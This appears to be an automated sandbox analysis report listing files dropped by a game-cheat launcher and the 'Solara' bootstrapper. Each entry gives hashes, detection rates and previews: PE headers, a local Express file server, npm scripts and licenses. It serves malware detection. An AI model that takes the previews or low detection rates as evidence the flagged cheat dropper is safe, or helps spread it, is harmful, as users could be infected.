Process:	C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4552800
Entropy (8bit):	7.797999306287447
Encrypted:	false
SSDEEP:	98304:4byoaYN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwcr:4Woak550zE51GaDQGfoa
MD5:	2EDB71DD3792B6F6A774EDBF67BB78D2
SHA1:	7A8CFF8359CAEC23A66212118CE4EDD1E239BFEB
SHA-256:	9DAADD6E7CBD889A2A05FA94D2876710542332A79782CEC38C09E9079415B6AE
SHA-512:	AA9BB70014A07B181960BD9EA1C1106F046F123F24A263C45AB58A461245E141A0AD3AF7D7B17E0CC59675FE1934F62A735756D52D068474690828FE6B44719F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...*...._......._..'...._f.'...._..'...Rich&...................PE..L....._............................@........0....@..........................@............@......................... ...4...T...<....0..........................h"......T............................U..@............0..`...... ....................text............................... ..`.rdata.......0......................@..@.data...(7..........................@....didat....... ......................@....rsrc........0......................@..@.reloc..h".......$..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESF33B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4be, 9 symbols, created Thu Jun 20 18:48:24 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	4.0942607857420175
Encrypted:	false
SSDEEP:	24:HjDW9U1IKD66WH/wK3cABlhNwI+ycuZhNrakStPNnqSGd:rN6poK3fBlhm1ulra33qS2
MD5:	B7277203DE74A0ACAFA60D4B79F28F9F
SHA1:	A0026C5E997AF67BA8A13C61C5878E8C6F904573
SHA-256:	6DF3AB98655D9E108BC0531C764D0ED12890E5B73255CA28DF87DAE0C01924F6
SHA-512:	FF9C716DE42C371141FA54CA469E924C0FB2350C4A6DA6E2B027869F2990BEDE41DB697E74983CE41815F28A4536CC9BEAA0AB8AEBB509799796ED4A3B8219C8
Malicious:	false
Preview:	L...xytf.............debug$S............................@..B.rsrc$01........X.......d...........@..@.rsrc$02........P...n...............@..@........U....c:\Users\user\AppData\Local\Temp\ym2mlmby\CSCF71E4593383143BF89859CE8A82A5373.TMP..................<0\|#..LE8}l..i.N..........5.......C:\Users\user\AppData\Local\Temp\RESF33B.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...y.m.2.m.l.m.b.y...d.l.l.....(.....

C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	500712
Entropy (8bit):	5.428454080870205
Encrypted:	false
SSDEEP:	12288:W/TcW1virB3ye+iKzORFNgeA+imQ9pRFZNIEJdIElxPrEIgcvLcglxMwCepM1STy:W/1C4I
MD5:	851FEE9A41856B588847CF8272645F58
SHA1:	EE185A1FF257C86EB19D30A191BF0695D5AC72A1
SHA-256:	5E7FAEE6B8230CA3B97CE9542B914DB3ABBBD1CB14FD95A39497AAAD4C1094CA
SHA-512:	CF5C70984CF33E12CF57116DA1F282A5BD6433C570831C185253D13463B0B9A0B9387D4D1BF4DDDAB3292A5D9BA96D66B6812E9D7EBC5EB35CB96EEA2741348F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...<x.e.........." ..0..t..........v.... ........... ...............................1....`.................................$...O....................\|...'.......................................................... ............... ..H............text...\|r... ...t.................. ..`.rsrc................v..............@..@.reloc...............z..............@..B................X.......H...........p...................l........................................0..G.........()...};......}=......}>......}<......}:.....\|;.....(...+..\|;...(+.....0..I..........(!....o.....8..o,... .@..3.r...p.s-...z.z..o,... ....3.r}..p.s-...z.z........................,.......0../........{....- ..{....t....}.......r...p.s....z.{....................."..}........0../........{....- ..{....t....}.......ry..p.s....z.{....................."..}........0../........{....- ..{....t....

C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.WinForms.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38376
Entropy (8bit):	6.289675546641707
Encrypted:	false
SSDEEP:	768:SNGbP6+wTftcZDgcEST3p4Jjrjh2jJFSUyauYv1JKia5/Zi/WGQKVu6bRaMBo0wx:OGm+otcZDgcEST3p4JjrjaJFSUyau01U
MD5:	4CF94FFA50FD9BDC0BB93CCEAEDE0629
SHA1:	3E30ECA720F4C2A708EC53FD7F1BA9E778B4F95F
SHA-256:	50B2E46C99076F6FA9C33E0A98F0FE3A2809A7C647BB509066E58F4C7685D7E6
SHA-512:	DC400518EF2F68920D90F1CE66FBB8F4DDE2294E0EFEECD3D9329AA7A66E1AB53487B120E13E15F227EA51784F90208C72D7FBFA9330D9B71DD9A1A727D11F98
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8............." ..0..d..........z.... ........... ..............................$.....`.................................(...O....................n...'..........D...8............................................ ............... ..H............text....b... ...d.................. ..`.rsrc................f..............@..@.reloc...............l..............@..B................\.......H........7...E...........}..@............................................(......{....>..}......}......{....>..}......}......{....>..}......}......{...."..}......{....>..}......}......{...."..}.......0..d........{....-K.(....-..(....-..(....-..(....,+..(.....(.....(.....(.......s....(....}.....{....%-.&.(...+.0..C..........(....-..(.......(....,'.o.......(....o......(.......(....o ....*..0..B........#.......?}......}.....(!...}.....("....(b......(#.... . ...(#..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	45016
Entropy (8bit):	6.2772249080704405
Encrypted:	false
SSDEEP:	768:1n/WlAKj4s0TV09797+nXDheteXBxc78OSW3Z8lcDP/ryEH0UBy4JjrD1h2j5h3E:1+msYXR3sZ8lcDP/ryEH0UBy4JjrD1aU
MD5:	34EC990ED346EC6A4F14841B12280C20
SHA1:	6587164274A1AE7F47BDB9D71D066B83241576F0
SHA-256:	1E987B22CD011E4396A0805C73539586B67DF172DF75E3DDED16A77D31850409
SHA-512:	B565015CA4B11B79ECBC8127F1FD40C986948050F1CAEFDD371D34ED2136AF0AABF100863DC6FD16D67E3751D44EE13835EA9BF981AC0238165749C4987D1AE0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....C..........." ..0.............R.... ........... ...............................o....`.....................................O........................'..........(...8............................................ ............... ..H............text...X.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................1.......H.......4B..4X..........h...@.............................................(....F.~....(....tV...6.~.....(....F.~....(....tV...6.~.....(....F.~....(....tV...6.~.....(....F.~....(....tV...6.~.....(....F.~....(.........J.~..........(....F.~....(....tV...6.~.....(....F.~....(.........J.~..........(....F.~....(....tV...6.~.....(....6.t.....}.....0..r........{....-Y.(....-..(....-..(....-..(....,9.(.....(.......s.......(......&....(.....(.....(....}.....{....%-.&.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4536
Entropy (8bit):	4.741460539247671
Encrypted:	false
SSDEEP:	96:gFEuLu1uHsWwXphsk/9TLsvyOsSnWX+OsM+3qYsMxiT9:4EMej/ZuyEnWv+FK
MD5:	E462FB7561F6C9BCCB24E62BB93889D2
SHA1:	1BECCA75907B3AE5FB7DE82E0CB495FF0FC90517
SHA-256:	FF3FC42D5F912950D1095C43C8EDB8A3BE63C8EEE9DB5CA5D39D5668F68F7B41
SHA-512:	4E7E83E63195AD0D9D155E3D00E0DC228148C95804D817779A043ABE3672087FDC9E038EDE8F6510FC88CC283E3D993499CAFA8083E5104CCF0360DF845ACB26
Malicious:	false
Preview:	const express = require('express');..const fs = require('fs');..const path = require('path');..const bodyParser = require('body-parser');....const app = express();..const port = 9911;....app.use((req, res, next) => {.. res.header('Access-Control-Allow-Origin', '*');.. res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');.. res.header('Access-Control-Allow-Headers', 'Content-Type');.... const userAgent = req.get('User-Agent');.. if (userAgent && userAgent.includes('Roblox')) {.. return res.status(403).send('Access denied');.. }.... next();..});....app.get('/files', async (req, res) => {.. const directoryPath = 'C:\\SolaraTab';.. const userAgent = req.get('User-Agent');.. if (userAgent && userAgent.includes('Roblox')) {.. return res.status(403).send('Access denied');.. }.... try {.. .. const fileNames = await fs.promises.readdir(directoryPath);.. .. const filePromises = fileNames.map(async (fileNam

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	371
Entropy (8bit):	4.910785755010633
Encrypted:	false
SSDEEP:	6:hfSc7IMVSCCGuyLk5tRZrCbIiMxsaWGrG5N2Hx4HWwzR9mtkPec7e2vn:ZZUpBGultRwbS7SL2m90TIn
MD5:	7AB5BFFF58B0A878A4614CDDBE424702
SHA1:	E75AD406EF2F9FCB1A9BDE44BA669F416C824C4F
SHA-256:	394B93EAAAC25F18A20D7CDD80920ECCA1FE43C8E5B37501389E644944C6E01F
SHA-512:	36F59FB7F2A1F985210CE39FB90E6E7998E4BA8030F172496EDA22A12C66B58C651211D0F682C2B0EC58A6E1AE19D59380D1FE0C6849F15FCF381DF60123AAEB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.basedir=$(dirname "$(echo "$0" \| sed -e 's,\\,/,g')")..case `uname` in. CYGWIN\|MINGW\|MSYS). if command -v cygpath > /dev/null 2>&1; then. basedir=`cygpath -w "$basedir"`. fi. ;;.esac..if [ -x "$basedir/node" ]; then. exec "$basedir/node" "$basedir/../mime/cli.js" "$@".else . exec node "$basedir/../mime/cli.js" "$@".fi.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	316
Entropy (8bit):	5.2931488574549075
Encrypted:	false
SSDEEP:	6:/EiwLynvuc3Kp2h9JaJWgbQBvJplsMgbi9xHxcdyfV9jqRB+YyAnYIIky:/lwOnvMw9Ja5QplOiSdwV9jqsiq5
MD5:	2872347AC99221152281BFD56705D437
SHA1:	83FA66CD05F64DE1EF7F3010344A0F7BABE54819
SHA-256:	CD5CA2F059E780C0A4B1AA9CDD6EDC7DC10413D30BF51AD537ADBD428E5E7A16
SHA-512:	3C0B9E12BC1FF8F2BBAA5301D8DB78A5C3636DD93F5755728E5B255C4250C0EA9E3C53A545011087B9C2536B1C1676FF01F7EFF3015E6E99F2E12C9F15386FE5
Malicious:	false
Preview:	@ECHO off..GOTO start..:find_dp0..SET dp0=%~dp0..EXIT /b..:start..SETLOCAL..CALL :find_dp0....IF EXIST "%dp0%\node.exe" (.. SET "_prog=%dp0%\node.exe"..) ELSE (.. SET "_prog=node".. SET PATHEXT=%PATHEXT:;.JS;=;%..)....endLocal & goto #_undefined_# 2>NUL \|\| title %COMSPEC% & "%_prog%" "%dp0%\..\mime\cli.js" %*..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	a /usr/bin/env pwsh script, ASCII text executable
Category:	dropped
Size (bytes):	769
Entropy (8bit):	4.981782287433566
Encrypted:	false
SSDEEP:	12:Hsa0aBXj2Uu6Dqb+RTqeNFmZC0/vq8dP2JNUJCCm0BC0/vq8dP5NTCCmG6:UarDq0uqFl0nn4Nm1hE0nnRNT1v6
MD5:	BEF04ABF08E89532A476C3E474B5F509
SHA1:	BB81073D8E07C483EE29121358871535973336E7
SHA-256:	A43D8B7D57DBBB21F2F98C331970D011177FA1C6BE327AA0DBB84C1AD01E9201
SHA-512:	E20F86C40CE523477DA136CB4AA3F29683DEE567A31EBFAD666666192417F49568E848CB8844E8DCD32D5501FB7176D47ACA54C195324E6D41E73093699788B1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/usr/bin/env pwsh.$basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent..$exe="".if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {. # Fix case when both the Windows and Linux builds of Node. # are installed in the same directory. $exe=".exe".}.$ret=0.if (Test-Path "$basedir/node$exe") {. # Support pipeline input. if ($MyInvocation.ExpectingInput) {. $input \| & "$basedir/node$exe" "$basedir/../mime/cli.js" $args. } else {. & "$basedir/node$exe" "$basedir/../mime/cli.js" $args. }. $ret=$LASTEXITCODE.} else {. # Support pipeline input. if ($MyInvocation.ExpectingInput) {. $input \| & "node$exe" "$basedir/../mime/cli.js" $args. } else {. & "node$exe" "$basedir/../mime/cli.js" $args. }. $ret=$LASTEXITCODE.}.exit $ret.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.package-lock.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25264
Entropy (8bit):	5.2516551877991695
Encrypted:	false
SSDEEP:	384:gVbqQ3uaG5ur6UDR5Gf3QB78K/wR8Cv8mCHL2mW:gQQUurhdUaO8CveXW
MD5:	E35FCE819EB584DF48CF52E97690CB3F
SHA1:	9D2E90D3F5057690C11911BB41D6303FD0EF5E8B
SHA-256:	98AA53C0FAFA3457D59F459BCE5770B68451DBCD64A9834F1A05DBA2D98F3697
SHA-512:	A75F9448CC2353BCEDD2718A372B83C0721C1A9057CA365CA11DAD072A09D0DC7EC0BB8A69FA9322E127A52658C42EBE28B5EF4164436259AF3D3734026E06F6
Malicious:	false
Preview:	{. "name": "fileaccess",. "lockfileVersion": 3,. "requires": true,. "packages": {. "node_modules/accepts": {. "version": "1.3.8",. "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",. "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",. "dependencies": {. "mime-types": "~2.1.34",. "negotiator": "0.6.3". },. "engines": {. "node": ">= 0.6". }. },. "node_modules/array-flatten": {. "version": "1.1.1",. "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",. "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==". },. "node_modules/body-parser": {. "version": "1.20.2",. "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.2.tgz",. "integrity": "sha512-ml9pReCu3M61kGlqoTm2umSXTlRTuGTx0bfYj+uIUKKYycG5NtSbeetV3faSU6

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\accepts\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5096
Entropy (8bit):	4.7356362263734955
Encrypted:	false
SSDEEP:	96:se/lRUzCazCZ88Yzi0wWtbIRySLH8dzKCwNOJrI+QUVsWm:hcNi8YwdDFC
MD5:	5577813327E7B93A2E3AED18F3E2833C
SHA1:	58BE8678425511C7CFA60E0EE0F009740EAA4616
SHA-256:	EF66FE7E96FEE5760F153FC5059124EFFA5310895B336585E3A80A93C9F2D9BE
SHA-512:	4318E9D590CE10CF62A5218ADCA86C0FDE7EB6AFB49212BA6085F9D6BD9BEE85294E4E1B1B00A8B80D51771AAFD975CB43CE02A8A2D9463D19A47B64336F9078
Malicious:	false
Preview:	1.3.8 / 2022-02-02.==================.. * deps: mime-types@~2.1.34. - deps: mime-db@~1.51.0. * deps: negotiator@0.6.3..1.3.7 / 2019-04-29.==================.. * deps: negotiator@0.6.2. - Fix sorting charset, encoding, and language with extra parameters..1.3.6 / 2019-04-28.==================.. * deps: mime-types@~2.1.24. - deps: mime-db@~1.40.0..1.3.5 / 2018-02-28.==================.. * deps: mime-types@~2.1.18. - deps: mime-db@~1.33.0..1.3.4 / 2017-08-22.==================.. * deps: mime-types@~2.1.16. - deps: mime-db@~1.29.0..1.3.3 / 2016-05-02.==================.. * deps: mime-types@~2.1.11. - deps: mime-db@~1.23.0. * deps: negotiator@0.6.1. - perf: improve `Accept` parsing speed. - perf: improve `Accept-Charset` parsing speed. - perf: improve `Accept-Encoding` parsing speed. - perf: improve `Accept-Language` parsing speed..1.3.2 / 2016-03-08.==================.. * deps: mime-types@~2.1.10. - Fix extension of `application/dash+xml`. - Upda

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\accepts\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.176199836532222
Encrypted:	false
SSDEEP:	24:voiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:voiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	BF1F9AD1E2E1D507AEF4883FFF7103DE
SHA1:	F027AF3E61AF3880FD7F7B8BA9452A85DD215738
SHA-256:	71F83C4C0621102A56D9853812777B85751BCE7E9726F686F5B056C1F8A4B0E6
SHA-512:	A1A293EB0097FE87875F3BF908CC0B0EE8F15E995C68E984B6A24E247B2E954407D7941EA96ABD7FE002A1BDFB713FDFB0D3839D948A334603F05E644829F606
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\accepts\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4123
Entropy (8bit):	4.91326314825233
Encrypted:	false
SSDEEP:	48:ZdC9AIvI6RZK0nwuBGWxGWwsNdXMoNjP601Wrk0aN8F07DaN89JC7aN8fBfuRhpL:/CnQl0JZ15jue/9IQxokXjwiA0
MD5:	873E624D40D23CF9B54F9D2F74D2C8D1
SHA1:	3A884510D2EEED73A4CD5AE0947A6C72CD3C7426
SHA-256:	C25A1071E5AA1B1B43E10F083E8D97C3DBF1F7700CFA38B5CBC40725662E1AE0
SHA-512:	A929EDEB59EDC6F1EF4F7554DDFD0B1B54AA097D4FDF69C5EC25B14C3C722A034D159DAF3AD38508EFC775FDF8C246507D53021E4AD79F0708C5DF94B311A864
Malicious:	false
Preview:	# accepts..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Higher level content negotiation based on [negotiator](https://www.npmjs.com/package/negotiator)..Extracted from [koa](https://www.npmjs.com/package/koa) for general use...In addition to negotiator, it allows:..- Allows types as an array or arguments list, ie `(['text/html', 'application/json'])`. as well as `('text/html', 'application/json')`..- Allows type shorthands such as `json`..- Returns `false` when no types match.- Treats non-existent headers as `*`..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-local

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\accepts\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5252
Entropy (8bit):	4.893026178912312
Encrypted:	false
SSDEEP:	96:oYG1MGmGHqyl8rAyBkmqFxo+uerpDWMlB8fdOGUJTit4UG9bCZhPwA:oYG1Xlqyl88yBD+uerRLD0YQ4rcZh9
MD5:	4FE4D2C90A2FD19D6E97443A7D24F815
SHA1:	282263F45F6BF80FBF43F4097D53B5B60FF1A05F
SHA-256:	BE2DECBD50610E8F995C1E312EE4DD6D7C1244CFDF03EE4C4A3DA68E572DADA1
SHA-512:	C795B7285CC92616A46FD1AD2D00CE65FB4B269E6B6FC35315891D119B7C25B7F4573540BE0627D577123201D9CFE119C8A53F0E75A8B6EA870F8D89A130C213
Malicious:	false
Preview:	/!. accepts. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var Negotiator = require('negotiator').var mime = require('mime-types')../. Module exports.. * @public. /..module.exports = Accepts../. Create a new Accepts object for the given req.. . @param {object} req. * @public. /..function Accepts (req) {. if (!(this instanceof Accepts)) {. return new Accepts(req). }.. this.headers = req.headers. this.negotiator = new Negotiator(req).}../. Check if the given `type(s)` is acceptable, returning. * the best match when true, otherwise `undefined`, in which. * case you should respond with 406 "Not Acceptable".. . The `type` value may be a single mime type string. * such as "application/json", the extension name. * such as "json" or an array `["json", "html", "text/plain"]`. When a list. * or array is given the _best_ match, if any is returned.. .

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\accepts\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1157
Entropy (8bit):	4.764840639838503
Encrypted:	false
SSDEEP:	24:yH1FBxVWbeXNnuNCHRIZCLlWeq9B0xLVG:yVFXVWbednuNCHRIQUr/0xA
MD5:	32A15D6909FCAE63E52D8664593D32D5
SHA1:	131BA4D63747E6663A9C19409E43AC034BD532CF
SHA-256:	E5716D5D939DB08C5C28EC6AE86ED67BE5320F91089E2673FCA1C5B876E57AA3
SHA-512:	6F0E9FE3D034640B8B2F902A5E336B39D818CEC504A9C52767F5F08D71BB1903B182771625C110F768A8CC540B071A54AFB7810270A09F4EDFE5E35DBA22FE37
Malicious:	false
Preview:	{. "name": "accepts",. "description": "Higher-level content negotiation",. "version": "1.3.8",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "repository": "jshttp/accepts",. "dependencies": {. "mime-types": "~2.1.34",. "negotiator": "0.6.3". },. "devDependencies": {. "deep-equal": "1.0.1",. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "4.3.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.0",. "nyc": "15.1.0". },. "files": [. "LICENSE",. "HISTORY.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --check-leaks --bail test/",. "test-ci": "nyc --reporter=lcov --reporter=text npm te

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\array-flatten\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1103
Entropy (8bit):	5.13317512688003
Encrypted:	false
SSDEEP:	24:bNtrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:bNtaJHlxE35QHOs5exm3ogF5n
MD5:	44088BA57CB871A58ADD36CE51B8DE08
SHA1:	3A7F886B632D2197676A40020D354E84B7860604
SHA-256:	4EEB3271453A891DF609E5A9F4EE79A68307F730C13417A3BFEFFA604AC8CF25
SHA-512:	6D8B9708BFA1F3CFA2B63F90152CB6F26960C2BA54FA11A16C13E1D5A3F85F4121516699025B6B759E051B276509B1D69510B644241434E6F8F81B3DFA5A8E63
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2014 Blake Embrey (hello@blakeembrey.com)..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\array-flatten\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1245
Entropy (8bit):	5.127650590620066
Encrypted:	false
SSDEEP:	24:E+q3S7Rm3omV60J5Z9ZIH1ZmIzrxvMohI4XFHOqW6mxw+N+k:/q38R7wnZ9ZIH1Zdaq7mqA/
MD5:	328FDAF1EE65869341567F4FB6716E02
SHA1:	98EFA9E4BD6D6BCA4EBB76991A2187A8A496C8B6
SHA-256:	071DD896356DA12269508F361958EC622E47B27A96D7EFDBA23B671BC3470416
SHA-512:	40378EEEB21474E8BE2962853B1D279AB8E167E68EBAD08AE4E7932C131DA317672852916BCC1000EC43A0163653C45158A9A8BE819B4A6479163AC8C5391CA5
Malicious:	false
Preview:	# Array Flatten..[![NPM version][npm-image]][npm-url].[![NPM downloads][downloads-image]][downloads-url].[![Build status][travis-image]][travis-url].[![Test coverage][coveralls-image]][coveralls-url]..> Flatten an array of nested arrays into a single flat array. Accepts an optional depth...## Installation..```.npm install array-flatten --save.```..## Usage..```javascript.var flatten = require('array-flatten')..flatten([1, [2, [3, [4, [5], 6], 7], 8], 9]).//=> [1, 2, 3, 4, 5, 6, 7, 8, 9]..flatten([1, [2, [3, [4, [5], 6], 7], 8], 9], 2).//=> [1, 2, 3, [4, [5], 6], 7, 8, 9]..(function () {. flatten(arguments) //=> [1, 2, 3].})(1, [2, 3]).```..## License..MIT..[npm-image]: https://img.shields.io/npm/v/array-flatten.svg?style=flat.[npm-url]: https://npmjs.org/package/array-flatten.[downloads-image]: https://img.shields.io/npm/dm/array-flatten.svg?style=flat.[downloads-url]: https://npmjs.org/package/array-flatten.[travis-image]: https://img.shields.io/travis/blakeembrey/array-flatten.svg?s

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\array-flatten\array-flatten.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	4.593208401290555
Encrypted:	false
SSDEEP:	24:GQQBqdOu0rErWuyeIMvR67dCSbUgMMfmO0rEg2r:GQQUiordyeIMvR+ggMMfAog2r
MD5:	4B17FA06C54846B686B8B799E9DD253A
SHA1:	FC6CC30E8B8EC09EEBA62BAC076ED627AA3EE8D1
